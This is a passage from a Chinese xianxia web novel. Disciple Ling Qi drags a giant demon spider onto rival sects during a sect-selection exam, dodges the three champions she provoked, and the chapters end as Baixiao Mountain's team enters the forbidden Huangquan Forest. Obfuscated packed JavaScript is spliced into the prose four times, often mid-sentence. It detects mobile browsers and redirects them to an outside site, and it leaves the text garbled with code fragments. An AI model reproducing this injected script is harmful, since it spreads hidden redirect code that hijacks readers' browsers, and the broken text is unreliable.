凤迟低下头喝了一大口水,看着毫无所觉,还在潜心杀魔物的玉虚宫弟子,不忍心地闭了闭眼。 连郁泊舟都忍不住抬眼看着正在遛蜘蛛的女子,微微顿了顿。 长久的沉默后,玄豹散人郑思文不屑地冷笑: “只会用这种办法对付魔兽,胜之不武而已。” 他的这番话也是很多正在盯着悬空镜的门派掌门与长老此刻的想法。 他们看着镜中的女子,一个个神情焦躁,面色铁青,恨不能冲进考场去提醒自己门派的弟子们。 别耽搁了! 快跑啊!!! 场内,玉虚宫一片肃然,还不知道他们将要面对什么。 凤无霜正在指挥玉虚宫的众人列阵:“对,就是这样。这一队再站前面点……谁都不许松懈!这一次,我们玉虚宫定要拿下魁首!” 一个玉虚宫弟子举起手弱弱地问道:“师姐,你有没有听到什么声音?” 凤无霜不耐地转身:“能有什么声音,你们就是缺乏磨炼大惊小怪……” 她卡住了。 眼前的情景让她毕生难忘。 那个只有筑基期的弟子凌七,单脚站立在她那只有一半的破剑上,飞速地朝他们玉虚宫这里赶来。 因为速度太快,白色衣服被风吹得飘荡起来,她对上她的目光,笑着抬手打招呼:“玉虚宫的朋友们,好久不见,给你们带了点九霄云阙土特产。” 她身后,小山一般高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377563|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的巨型魔蛛直立起身子,已经濒临发狂,浑身上下粗硬的绒毛都竖了起来,灯笼大小、血红的几只眼睛慢慢移过来,冰冷地注视着他们。 玉虚宫众人都张大了嘴,凤无霜抖着手用鞭子指着季灵泽,一口气差点没上来:“你你你干什么?!” 巨型魔蛛本意是追季灵泽,一下子见了这么多人,也忍不住停顿了一下,季灵泽终于有机会落地,她将招财剑抓在手里,与凤无霜并肩,道:“不用谢我,相信你们的实力。” 如果眼神能杀人,凤无霜已经把季灵泽片成了碎片。 她无暇去和季灵泽纠缠,因为魔蛛已经对玉虚宫的修士展开了攻击,最前面的几个修士一时不查,被蛛丝死死缠住。 凤无霜起身上前,手中九节鞭如一尾灵活的游蛇,精准地击打在魔蛛小腹处,她从魔蛛身下滑过去,鞭子末梢的夜明珠喷出火舌,将缠住几个修士的蛛丝抽出数条裂缝,被捆住的修士们也纷纷开始攻击蛛丝,裂缝越来越大,他们终于得以脱身。 “金丹以下的修士立即离开,金丹期修士随我列阵!”凤无霜擦了一把额头上的冷汗,喊道。 方才的一击已经让她察觉出了这只巨型魔蛛恐怕并非她一人所能对付,作为首席大弟子,她要做的是稳住人心,不能自乱阵脚。 季灵泽好整以暇地站在一边,向刚刚赶来的凤潇潇与华漠传音:“离我们最近的宗门现在在哪个方位?” 凤潇潇回答得很快:“百晓山在正南十里。” 一旁的华漠犹豫片刻,屈服了,小声补充道:“……有向北移动的趋势。” 季灵泽点点头,扭头对正在苦苦酣战的凤无霜道:“百晓山在正南十里,向北移动中。” 刚从魔蛛喷出的蛛丝下逃出的凤无霜气喘吁吁:“你以为我和你们沧山派一样不要脸吗?!” 观战的尊者们:“……” 他们以为这个修士是想祸水东引,没想到她是想祸水全引,一个门派也别想逃! 二十分钟后,正南十里,传来洛啸天崩溃的咆哮:“我靠!凤无霜你疯了吧!” 凤无霜指向一边的季灵泽:“她先开始的!” 洛啸天咬牙切齿:“你们狼狈为奸!” 这一次,不等季灵泽开口问,凤潇潇和华漠就主动报了蓬莱洲的方位。 季灵泽金鸡独立在招财剑上,一边很鸡贼地往凤无霜和洛啸天身后躲,一边慢悠悠地道:“蓬莱洲在西南十五里,正在向西移动中。” 凤无霜和洛啸天闻言对视一眼,但很快就觉得伤眼睛,把头移开了。 “去?”凤无霜被魔蛛逼得连连后退,声音很紧。 洛啸天斩钉截铁:“去!” 他们同时做出了决定。 西南十五里开外,南宫策还在勤勤恳恳杀魔物。 他的手一直没有停下,所到之处魔兽尽数被藤蔓绞杀,如同兵器般不知疲倦。 只有这样,他才能在蓬莱洲的弟子面前重建威信,向他们证明自己仍旧是那个不折不扣的元婴期天才。 等杀的魔物够多了,他就去找凌七单挑,轻松出局了凌七,他就能证明自己了。 一定。 16. 第 16 章 洛啸天为首,凤无霜殿后,季灵泽负责挑衅魔蛛,凤潇潇和华漠则为他们指路。 几个相看两厌的人史上第一次达成了合作,目的是把南宫策拉下水。 南宫策刚杀完一头魔兽,轻轻喘了口气,刚坐下休息,一抬头,被空中黑压压的一群人惊了一跳。 “洛啸天、凤无霜、凌七……你们?”他睁大了眼睛,抱着琴从地上弹了起来。 巨型魔蛛慢慢从他们后面冒出,巨大的红色眼睛缓缓看向南宫策。 不等南宫策发问,洛啸天先心虚地大喊道:“是凤无霜先决定过来的!” 凤无霜嗤之以鼻,不客气地戳穿:“你自己不想这么干吗?” 有一个元婴前期的修士和两个金丹大圆满的修士,季灵泽放心了,这个阵容对付这只魔蛛还是绰绰有余的。她朝凤潇潇和华漠挤了挤眼睛,刚准备开溜,数根粗壮的藤蔓拔地而起,直接拦在她面前。 不只是她,一边的凤无霜和洛啸天周围也有数根粗壮的藤蔓相拦,南宫策脸都气白了,情急之下,爆发出了元婴前期的全部实力,一手操控藤蔓拦他们,一手操控树叶作飞镖钉在魔蛛的眼睛上,浑身威压不加掩饰地倾泄出来,在场的所有修士都被威压所慑,面色一凛。 南宫策狠狠按着琴弦,力度大得仿佛按的不是琴弦,而是钢管:“谁也别想走!谁走了我就引着魔蛛满场找你们!你们一个也别好过!!!” 几个正在观赛的尊者:“……” 造孽啊。 修真界的新一代弟子,全被凌七这颗老鼠屎带坏了! 季灵泽不知道自己的风评暗自发生了变化,她摸了摸眼前的藤蔓,藤蔓坚硬如铁,表面附着着一层树脂一般的透明物,又试着用招财剑砍了砍,还是没砍动。 看来南宫策气得不轻,把看家本领全用上了。 于是她悄悄给凤潇潇和华漠传音道:“你们先走吧,我留在这里。” 凤潇潇皱起眉:“不行,太危险了。” 华漠双手攥紧,没有说话,沉默地与射过来的蛛丝战在一起。 季灵泽前世这种魔物杀了不知有多少,虽然现在灵力微弱,好歹能保证自己安全,但凤潇潇和华漠初次正面对上,万一受伤了就不好了,她略一思忖,换了种说辞: “现在他们三个都被牵制在这里,对沧山派来说,是趁机夺得魁首的良机。” “这没有你的安全重要。”华漠温和却坚定地道。 季灵泽闪身避开一条蛛丝,见他们二人坚持,只得又换了个理由道: “我都这么不要脸了,能出什么事,沧山派的其他人更需要师兄师姐。” 沧山派的其他弟子和万象宗呆在一起,没有凤潇潇和华漠,他们就没有了主心骨,考场中四处是魔兽,万一万象宗选择袖手旁观,他们的处境也会很危险。 这个理由终于让华漠和凤潇潇动摇了,凤潇潇手中的凤尾鞭火光灼灼,她泄愤般连续砍了季灵泽身边的藤蔓好几下,犹豫了许久,才下定决心转头对她道:“保重,不要逞强。” 季灵泽笑着朝她眨眨眼:“师姐放心,我哪里像是逞强的人。” 华漠和凤潇潇一步三回头地御剑走了。 他们刚走,季灵泽扭过头,一见到被魔蛛死死压制的三人,便知道不妙,隔空传声道: “洛啸天,沙刺,背后袭击。” 洛啸天识海之中突然闯入一道陌生的声音,那道声音冷冽沉静,不容置疑,让他想到自己的师长,长年累月被师门训练,他身体比脑子快一步听从了命令,骑着沙狼绕到魔蛛身后,挥手结印,黄沙聚拢成一根尖刺扎入魔蛛体内,拔出时带出了一团黑血。 魔蛛吃痛地狂叫,浑身的绒毛都炸开了,扭头便要咬他。 “凤无霜,快速击打魔蛛头部。” 凤无霜也是一惊,眼前的情景不容许她思考,她还没反应过来是谁的声音就照做了,九节鞭破空而出,燃烧的鞭子旋风般抽打在它的头上,快速高频的击打将魔蛛的脑袋打出了一道血痕,魔蛛尖啸一声,吐出一发铁丝般的蛛网,那蛛网遮天蔽日,兜头朝他们盖下。 “南宫策,催长树顶网。” 南宫策境界比另外两人高,受声音的影响也小,这道声音入耳,他指尖一停,本不愿理会,然而看着快要笼罩住他们的网,咬紧牙关,最终还是不情不愿地拨动了琴弦,十棵参天大树拔地而起,一同撑起了那张蛛网。 场外,洛川不由得坐直了身子,感慨道:“他们竟能放下成见合作,而且看起来还很有默契,难得,真是难得。” 凤迟一眨不眨地看着悬空镜,破天荒地主动搭他的话:“是,他们配合得完全不像是第一次合作。” 郁泊舟没有说话,他的目光落在镜中那个不起眼的白衣女子身上,眸色沉沉,不知道在想什么。 季灵泽单脚站立的时间有点久,腿微微发麻,她跃下剑想换一条腿站。 魔蛛见其他三人都不好对付,一双巨眼四处逡巡一番,竟将目标对准了她。 在她跳下剑的一瞬间,二十四道蛛丝从它口中喷涌而出,又在半空里分成四股,从东南西北四个方向绞杀过来,势必要在毫厘之间杀死她。 南宫策按着琴弦的手在这一瞬间快出了前所未有的速度,拔地而起的藤蔓结成厚实的盾拦在季灵泽面前。 这一次的蛛丝不仅柔韧而且尖锐,直接刺穿了藤蔓结成的盾,直直穿了过去,不用想就知道里面的人会变成什么样。 南宫策的脸色白了一白,洛啸天不忍地用手臂挡住了自己的双眼,凤无霜咬紧牙关,闭上了眼睛。 他们到底还是未经世事的少年人,第一次面对同伴的惨死,一时间都难以接受。 往届仙选大会中,如有弟子濒临死亡,场外的尊者将出手相救,但不知为何,凌七出事的时候,没有尊者相救。 “舍不得我?”一个熟悉的调笑声音在几人身后响起,南宫策最先反应过来,震惊扭头,便见到季灵泽全须全尾地站在他们边上,白衣黑发,笑意深深。 “你……”南宫策哑然。 洛啸天最直接,他大声嚷嚷道:“你怎么会没死?” 季灵泽挑眉:“你很期待?” 凤无霜心情大落大起,想到刚刚自己居然还同情了一把这家伙,不由有种被耍了的羞怒,她瞪着季灵泽:“祸害遗千年!” 季灵泽被骂祸害遗千年,不怒反笑,她抽出招财剑,对准了面前的魔蛛,得意道:“是吗,那像我这种大祸害,肯定能永生不死。” 南宫策脸上一片空白,他喃喃道:“你怎么会……” 他话音未落,耳畔传来一阵风声,季灵泽从他身边飞速掠过,抽剑架住试图绕后攻击南宫策的魔蛛,笑答:“我好歹也是个修士。” 南宫策仓促回头,魔蛛的爪子离他只剩下三寸距离,如果不是凌七相救, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382629|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不死也要丢半条命。 季灵泽的回答让其余两人也沉默了,这才意识到,季灵泽从仙选大会开始根本没动用过灵力。 以至于,他们全部忘记了季灵泽是一个修士。 想明白这一点后,他们看向季灵泽的目光微微变了,没有动用灵力都能做到在巨型魔蛛的攻击下独善其身,如果她境界再高一点……简直不敢想象。 比起他们,几个尊者要淡定得多,他们看清楚了方才那瞬间季灵泽的动作。 洛川指着镜中那个小白点,兴致勃勃地对其他人道:“她一直刻意不去用灵力,终于看见她用灵力的样子了。” 郑思文对这个弟子偷奸耍滑的行为一点好感也没有:“一个筑基期的弟子,再隐藏实力能有多强?” 洛川瞥一眼这老古董,丝毫没给他面子,当即反驳:“她曾经与洛啸天斗过法,是沙系灵力者,方才在蛛丝攻击她的瞬间,她立即将自己沙化,穿蛛丝而过,反应速度绝不逊于那些金丹大圆满的修士。” 见洛川明显偏向那个修士,郑思文的脸色变得不太好,他讽刺道:“怎么?玄天真人要收这种人为徒?” 洛川漫不经心地笑了笑:“有何不可?” 两人隔着桌子对峙,气氛僵硬起来,半晌,南宫雁好脾气地打圆场:“仙选大会还未结束,这届弟子人才辈出,等最后一场再讨论收徒的事也不迟。” 他们这里合力在对付魔蛛,另一边的郁观一人带着万象宗和沧山派的弟子从魔兽堆里杀了出来,凤潇潇和华漠赶到时,他累得够呛,正靠在树边闭目养神。 听见动静,他缓缓睁开眼,见只有面色凝重的他们二人,站起身来:“凌七呢?” 华漠简单说了一遍事情的经过,凤潇潇紧锁眉头,等他说完,她突然重新握住鞭子,道:“不行,凌七再怎么说也只有筑基,我要回去找她。” 从听到凌七带着魔蛛先去找了凤无霜麻烦开始,郁观就放松下来,一直在笑,听到最后南宫策也被拉下水,郁观嘴角的笑意简直掩都掩不住。 是凌七能干出的事,够恶心。 他见凤潇潇焦急,拍拍她的肩膀,随口安慰她道:“放心吧,那可是凌七。” 那可是凌七。 他见过她团灭一群筑基魔修,也见过杀死金丹大圆满魔修的样子,他对她就是有一种莫名的信任,哪怕对手很强,她也能出其不意。 凤潇潇眉头紧锁:“我怕其他三人联合对付她……” 郁观叹气,干脆掏出装灵石的袋子:“我和你打个赌,她和其他三人对上,她有事,我给你两百灵石,她没事,你翻倍给我。” 他语气肯定,凤潇潇慢慢平静下来,昂起下巴道:“赌就赌,她若没事我给你一千灵石都行。” 郁观笑了:“这可是你说的,她一定会没事的。” 他们这里在打赌,那边的季灵泽正在与其他三人一同打魔蛛,到底是金丹大圆满的修士,合作动起手来事半功倍,沙子、火光、树藤轮番上阵。 很快,那只魔蛛体力不支,季灵泽与南宫策一上一下,同时捅穿了它的腹部,黑血如喷泉涌出,巨大的魔蛛轰然倒塌。 就在倒塌的瞬间,季灵泽趁着其他几人还沉浸在成就感中,跳上招财剑,二话不说就往反方向逃。 三人先是一愣,而后反应过来,齐齐怒了:“凌七!休想逃!!!” 季灵泽不语,只是一味飞奔。 17. 第 17 章 本来他们三个完全不用遭遇魔蛛,现在一个坑一个,耽搁了一堆时间不说,还和自己的门派散开了。 反观罪魁祸首凌七,不仅毫发未损,还保护了自己的门派,在五个尊者面前狠狠刷了一把存在感,岂有此理,天理难容!!! “消消气,消消气,气出病来无人替。”季灵泽一边御剑狂奔,一边安慰怒气冲冲的几人。 她下方是骑着沙狼追她的洛啸天,后方是御剑朝她扑来的凤无霜,侧面是操控着藤条一脸风雨欲来的南宫策,以一己之力拉满了全场的仇恨。 几个金丹大圆满甚至已经元婴的修士在这里一同追杀一个刚筑基的修士,在这么多届的仙选大会上也是破天荒地的头一遭。 观赛的凤迟捂住前额,低声道:“就算他们赢了,三个打一个筑基修士也不是什么光彩的事。” 一直沉默不语的郁泊舟开了口,引得其他尊者纷纷朝他看来,他淡淡道:“未必会赢。” “不可能,”郑思文奇怪地看了他一眼,反驳,“这修士才筑基,再怎么厉害也不可能。” 郁泊舟没有回答,甚至没有朝那里看一眼,他始终紧紧盯着飞奔的白衣女子,呼吸有轻微的颤抖。 场中,南宫策双手甩动,在七弦桐琴上划出一道悠长的曲声,随着这道曲声响起,地上的魔株全部被藤蔓绞杀殆尽,给奔跑的沙狼清理出一道安全的道路,季灵泽的招财剑上开始生长出苔藓,她不稳地晃动了一下: “又来这招?” 话音未落,她猛然回身,朝后面人洋洋洒洒抛出一把沙子,半空中顷刻间被黄沙充斥,滚滚黄沙遮蔽了众人的视野,南宫策一时不察,被沙子呛得咳嗽起来。 季灵泽从招财剑上一跃而下,一股细如发丝的水流悄无声息地顺着她的指尖漫开,像刀片一样刮过剑身,悄悄将那些苔藓刮去。 洛啸天没有受影响,他双手结印,空中的沙子聚拢成一条鞭子,向她抽来,就在快要触及她背部的瞬间,季灵泽闪身出现在凤无霜身后。 洛啸天:“!” 他收鞭不及,一鞭子结结实实抽在了凤无霜左臂,顿时抽出一道红痕。 “洛啸天!!!”最擅长使鞭子的凤无霜猝不及防被鞭子抽了一记,顿时怒火中烧,“你故意的是不是?!” 洛啸天还真不是故意的,他第一次遇见季灵泽这可怕的速度,一时不察,没来得及,但他不可能承认自己反应速度比一个筑基期修士慢,只好硬着头皮道: “那又怎么样!” 凤无霜看着他,眼中快要喷出怒火来:“那就试试我的鞭子!” 她抬手,熊熊烈火在她足底燃烧起来,九节鞭末梢的夜明珠闪过一丝妖异的红光,瞬间延长了数倍,直接缠上洛啸天的脚踝把他往火里拖,洛啸天不甘示弱,他操控沙子隔绝了火势,拔出剑与鞭子对上,两个兵器相撞,发出尖锐的碰撞声。 唯一正在追杀季灵泽的南宫策:“……” 早知道他就不该给洛啸天那个傻子清路! 他早就想单独赢凌七一次来证明自己的实力,眼下不假思索抛弃了对打的洛啸天与凤无霜,直接追上了再次跳上剑狂奔的季灵泽。 “休想逃。”他冷冷地道。 季灵泽回头看了一眼穷追不舍的南宫策,他居然放弃御剑,直接站在生长的藤蔓上,藤蔓稳稳托着他,生长速度极快,马上就要逼至季灵泽身侧! 季灵泽一眨眼便是一个馊主意,她不跑了,转而上下看了他一遍,脸色突然变得很怪异。 南宫策见她停下,戒备地抱起琴,准备攻击。 季灵泽盯着他的腰,认真地道:“南宫兄,你腰带开了。” 南宫策一愣,下意识低头去看自己的腰带,严丝合缝,明明没什么问题。 再一抬头,就见季灵泽连人带剑一阵风似地窜出了上千米远。 卑鄙无耻!修真界怎么会有这种人! 南宫策额头上青筋暴起,目光顿时冷下来,弹琴的力气又加重了几分,手指上下扫动时,琴弦被他按得震颤不休。 琴声荡开,季灵泽身前立刻长出十几棵参天巨树,密密麻麻挡在她跟前,每一棵树上都布满了藤蔓,像蛇一样蛰伏在树叶中,只要她敢上前,随时会给她一击。 季灵泽眼帘微动,一个急刹停下,面色不变,嘴还没停:“年轻人就是火气旺,多喝菊花茶,对了你喝过菊花茶吗?可以找我买,我这里保证便宜……” 她还敢出言挑衅! 南宫策的脸色阴沉得快要滴出水来,他双手拂动琴弦,力气大到直接崩断了一根琴弦,琴弦崩断的那一瞬间,猛然爆发出一道响亮刺耳的声音,像是有一根尖锐的刺扎入安静的林中,于是昆山玉碎,凤凰惨叫。 连远处的郁观都若有所感地抬起头,向他们的方向看去。 以季灵泽为圆心,方圆五里,所有树木上的叶子全部脱落,浮在半空中,铅灰色的树脂覆盖了它们,叶子的边缘变得极为锋利,密密实实犹如箭矢。 它们盘旋滚动,逐渐形成了飓风的形状,环绕滚动在季灵泽旁边,随着琴声转急促,它们的速度也越来越快,越来越快,琴声停止的瞬间,它们密密朝季灵泽射去! 南宫策考虑到季灵泽的速度极快,这些叶子之间一点空隙也没有,不给她任何躲避的机会。 季灵泽一抬头便看到这一幕,收起笑容,脸色终于肃穆起来,她双脚分开,双手横握招财剑,眉心亮起一抹红印。 亮若星子的一点剑光从剑锋上闪过,暗如黑夜的考场里,唯有这把烂铁闪烁着锋芒毕露的一线光芒。 灵力被她流水一般灌入剑中,雪亮剑身倒映出她的脸,苍白的肤色,刻着冷静无波的一双眼。 几个观战的尊者都不由自主朝这里看来,这个总是钻空子的修士,终于要认真比试了吗? 南宫策紧紧地望着她,握着琴的手因为紧张绷紧,青筋暴突。 就在所有人都期待她正面应敌时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389324|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,季灵泽的身子猛然化作沙雾,叶箭穿过她化雾的身体扎入地下,将地面扎出了无数深深的小洞,沙雾施施然穿过那些参天巨树,刚一穿过巨树,季灵泽便解除沙雾状态,架着剑一溜烟跑了。 一点点多余的灵力都不想花。 合着她刚刚一直在假装自己过不去那些拦路的树,为的就是消耗南宫策的灵力! 她动作太快,南宫策还没反应过来,脸上出现了一瞬间的茫然。 刚直起身的尊者们又纷纷失望地坐了回去。 凤迟叹气:“她这是准备偷懒到仙选大会结束吗?” 郑思文最愤怒:“我就说她只会耍小聪明!” 一直话多的洛川却没有开口,他看着镜子里的人,有一瞬间的恍惚。 那女子方才提剑的模样像…… 他忍不住看了一眼一旁的郁泊舟,郁泊舟神情淡定,不为所动。 是了,若是她本人,遇到这种三番四次的挑衅,哪里有这么好脾气。 好脾气的季灵泽逃脱了死缠烂打的南宫策,笑意轻快起来,一路去找凤潇潇他们汇合。 凤潇潇从把她一人遗留在那里之后,就一直心神不宁,她心神不宁最直接的后果就是——杀魔物的速度比平时快了数倍。 季灵泽赶到时就见师姐薅着一头魔兽的背毛,整个人都骑在上面,鞭梢淬火,以鞭作剑,直接捅进魔物的后脑勺。 动作相当狠辣,像是憋着一股气一样。 季灵泽光是看着,后脑勺就开始隐隐作痛。 “师姐,我回来了。”她御剑飞近,从剑上跳下来。 凤潇潇看见是她,从魔兽的尸体上翻身而下,飞奔过来张开双手就要给她一个大大的拥抱,快要触碰到她一尘不染的白衣时,她缩回手,甩了甩,笑起来:“你看我这记性,手上都是血,脏死了。” 季灵泽弯起眼睛,反抱住她:“一点也不脏,好厉害的大师姐。” 凤潇潇抚着鞭子,被她夸得很受用:“那是。” 郁观和华漠也各自解决完魔物,纷纷围了过来。 郁观一边绕着观察她一边问道:“有没有哪里受伤?” 一向精明的郁观突然来关心她的伤势,黄鼠狼给鸡拜年,准没安好心。 季灵泽瞥他一眼,盘腿坐下,敲打道:“没有受伤。不过其他几个门派肯定恨上了我们,现在沧山派和万象宗是一条绳子上的蚂蚱了。” 郁观停下步子,扇骨一敲手背,笑道:“没事就好,我和你师姐打赌,你若有事,我给她两百灵石,你若没事,她要给我一千灵石。” 凤潇潇现在心情好,给钱格外爽快,干脆地将一千灵石递过去。 “什么!”季灵泽立刻困意全无,她睁开眼弹坐起来,立马改口,“其实受伤了,我找找。” 她把自己上下细细看了一遍,最终功夫不负有心人,在右手的手指尖上找到了一个已经愈合的小裂口。 “两百灵石,拿过来。 18. 第 18 章 这一场考试的排名,目前第一是万象宗,第二是沧山派。 万象宗便也算了,沧山派凭什么在前面! 其余三个门派均有些不服气,尤其以百晓山表现得最明显。 “奇耻大辱!小爷我怎么能输给这种人!”洛啸天一脚踹飞了地上的石子。 “就是,我们绝不能输给他们!” 其他弟子立即附和。 离这场考试结束还有一夜,他们排名第五,不仅是四大门派最末,还叫沧山派远远甩在后面。 这么多届仙选大会,百晓山从未出现过这种情况。 洛啸天狠狠抓了一把自己的头发,又搓了搓沙狼的脑袋,沉默片刻后,他像是下定了某种艰难的决心,咬牙道:“我们去黄泉林。” 此言一出,其余百晓山弟子都震惊地看向他。 黄泉林最特殊之处在于,这里是整个九霄云阙阵法的一块空缺,悬空镜照不到。 考场里的大多数魔兽都是从这里涌入,是考场与外部连接的中间地带。 黄泉林不仅魔兽多,而且一旦出了什么事,场外的人不知情况,更无法及时救援。 传闻昔年魔尊被困阵中,与云步仙尊激战四十九日,最后一日持剑刺向阵法,将这上古大阵劈开一个口子,划地为林,放出话来:凡踏入者,下黄泉。 天长日久,这个地方有了个诨名:黄泉林。 洛啸天做出这个决定的时候,百晓山有不少人踟蹰不前。 魔兽是小事,但关于黄泉林的传说涉及那位魔尊,他们实在犯怵。 “我们百晓山现在排四大门派倒数,连沧山派都不如!”洛啸天拍着自己的胸口,痛心疾首,义愤填膺。 “有什么好怕的?魔尊都死多少年了?!她还能复活不成?现在的黄泉林只是魔物多了一点,正方便我们杀!你们难道要拿着倒数第一的名次回去吗?你们对得起师长的栽培吗?对得起自己这么多天的努力吗?对得起百晓山吗?” “一切为了百晓山的荣誉!” 他这一番讲话情真意切,听得底下的百晓山弟子个个泪眼汪汪,纷纷跟着他喊道: “一切为了百晓山的荣誉!” 方才还蔫如黄花菜的一群人很快就斗志昂扬起来,什么魔尊的诅咒、什么黄泉林内外面看不见,都丢到了九霄云外,百晓山浩浩荡荡的队伍,开始径直朝黄泉林走去。 洛川出身百晓山,对百晓山格外关注一些,他看着他们这一队的方向,不由得“咦”了一声:“他们这是要去黄泉林?这么想拿魁首吗。” 南宫雁蹙眉,有些担忧道:“悬空镜照不到里面,我们看不到他们的安危,要不要干涉?” 这个时候讨论要不要干涉已经晚了,就在他们交谈时,百晓山浩浩荡荡的队伍直接踏了进去。 片刻后,悬空镜上方,属于百晓山、记录着他们斩杀魔物数量的那根线开始疯狂延长。 百晓山的掌门从椅子上一下子站起来,目不转睛地盯着悬空镜。 方才还只斩杀了一百头魔兽的百晓山,在进去后短短一炷香的时间内,杀死了三百多头魔兽! 百晓山超过了玉虚宫。 时间一分一秒地过去,几乎每一刻百晓山都在疯狂斩杀魔兽,一个时辰过去,百晓山相继超过蓬莱洲和沧山派,眼看着就要赶上万象宗。 “……有问题。”郁泊舟凌冽的嗓音打破了满室的寂静,他面色如霜,道,“我进去看看。” 郑思文第一个反对:“不可,仙选大会中,一旦尊者出手干涉,门派排名便作废了,若他们没出事,这对他们不公平。” 有玄豹散人郑思文开口,百晓山的掌门也跟着出声:“他们斩杀魔兽的数量就快超过万象宗了,云步仙尊难道要让我们百晓山这么久的努力功亏一篑吗?” “是啊是啊,这关乎我们百晓山未来的名誉。“ “孩子们吉人自有天相,也该锻炼锻炼。” …… 洛家家主和几个百晓山长老纷纷出言。 仙选大会有一条规矩,进入考场后,分别有两次弃权机会,一次属于弟子个人,一次属于门派,弃权后,场外才可干涉。 眼下,百晓山弟子和百晓山掌门都不同意,即使是尊者也无法插手。 郁泊舟曲起指节,轻叩椅背,目光环视一圈,方才还在七嘴八舌反对他的几人纷纷安静下来。 他神情依旧冷淡,眸中含着嘲讽,毫不客气地道:“百晓山配不上这样的弟子。” “你分明是见百晓山快要拿到魁首了蓄意阻挠……” 百晓山的掌门脸色青了又白,这句话没经过脑子就脱口而出。 洛川在此刻看了过来,他出身百晓山,本该在此刻说些什么,然而他一贯含笑的眼里一丝笑意也无,只居高临下注视着他。 百晓山掌门一惊,后面的话终究没有说出口。 郁泊舟嘲讽完百晓山便转过脸,静静垂眸看着镜中的某一处,他手指有规律地敲击桌面,在所有人都看不见的地方,一抹充斥着灵力的水色微芒从他指尖弹出,没入镜中。 排名变动会传音给场中的每一个修士,郁观正在砍魔物的手一僵,差点被面前的魔物掀翻:“什么玩意儿?洛啸天吃了仙丹吗?” “不是,哪来的这么多魔物让他们杀?”凤潇潇把鞭子缠绕在手腕上,难以置信地问旁边的华漠,“你听见了吗?百晓山刚刚一共杀了多少魔物?” 华漠深吸一口气:“二百三十五只。” 几人同时陷入了怀疑人生中。 短短一个时辰内杀死二百三十五只魔物,这考场内哪来的这么多魔物让他们杀?难道全考场的魔物都主动去找他们了? 其他弟子也纷纷讨论起来。 “百晓山怎么回事?” “他们运气也太好了吧。” “怎么办,这次他们肯定是魁首了。” …… 在乍然响起的一片噪杂声中,唯独季灵泽一直没说话。 凤潇潇注意到她反常的沉默,凑过去问她:“怎么了?” 季灵泽掂了掂手中的剑,抬眼,低声道:“不对劲。” 林间风声微起,四周魔兽的尸骨堆积起来,空气中带着一丝血腥味。 她弯腰拾起一块魔兽的骨头,咬破指尖,“唰唰”画了片刻,那上面便出现了一道繁复的符咒,随着她手指的动作,不多时便泛起一道金光。 待她松手后,符咒从骨头上剥离,飘在空中,细细抖动,笔画自动移位,逐渐形成了一个词:黄泉林。 “这是什么符咒?我从未见过。”凤潇潇奇道。 “莫问天,”季灵泽看见那三个字,怔了一下才继续道,“这种符咒可以找到洛啸天的方位。他们在黄泉林。” 凤潇潇后背顿时出了一层冷汗:“黄泉林?他们疯了啊,那地方……” 季灵泽正侧耳认真听那地方到底有什么不对劲,就听得后半句话是:“那地方与魔尊关系匪浅,晦气得很。” 季灵泽肩膀颤抖,凤潇潇看过来,怀疑道:“你是不是在笑我?” “没有,师姐的担心很有道理,”季灵泽掩去笑意,她摩挲了一下手中的佩剑,仿佛是随口道,“我去那里看看。” “哦,好……等等,你说什么?你要去黄泉林?”凤潇潇反应了几秒,随即整个人都炸了,她又气又急,不可置信地盯着她,“若真出了什么事,也该是场外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季灵泽打了个响指,指尖冒出一团火来,将这黑气烧干净了。 这黑气是魔修的亡魂所化,死前有着对精纯灵力本能的渴望,死后依然会被新鲜的修士血液中满溢的灵力吸引。 黄泉林里有魔修? 季灵泽眸中闪过一丝沉冷之色,从剑上跃下,随即右手持剑,左手两指压在剑身上,轻轻一抹,但见流光一现,断剑边缘生起一圈锋利冰凌。 她持剑对准黑气,挽剑而去,宽大的白色袖口扫过,带起一道云雾般的柔软。 一线剑光如流水般从剑身上流淌而过,聚合成一道锋利磅礴的剑意,一触黑气,霎时间如风卷残云,将浓郁黑气一剑劈散。 刚刚赶到的郁观见到此景,不由得停了步子,震惊地站在原地。 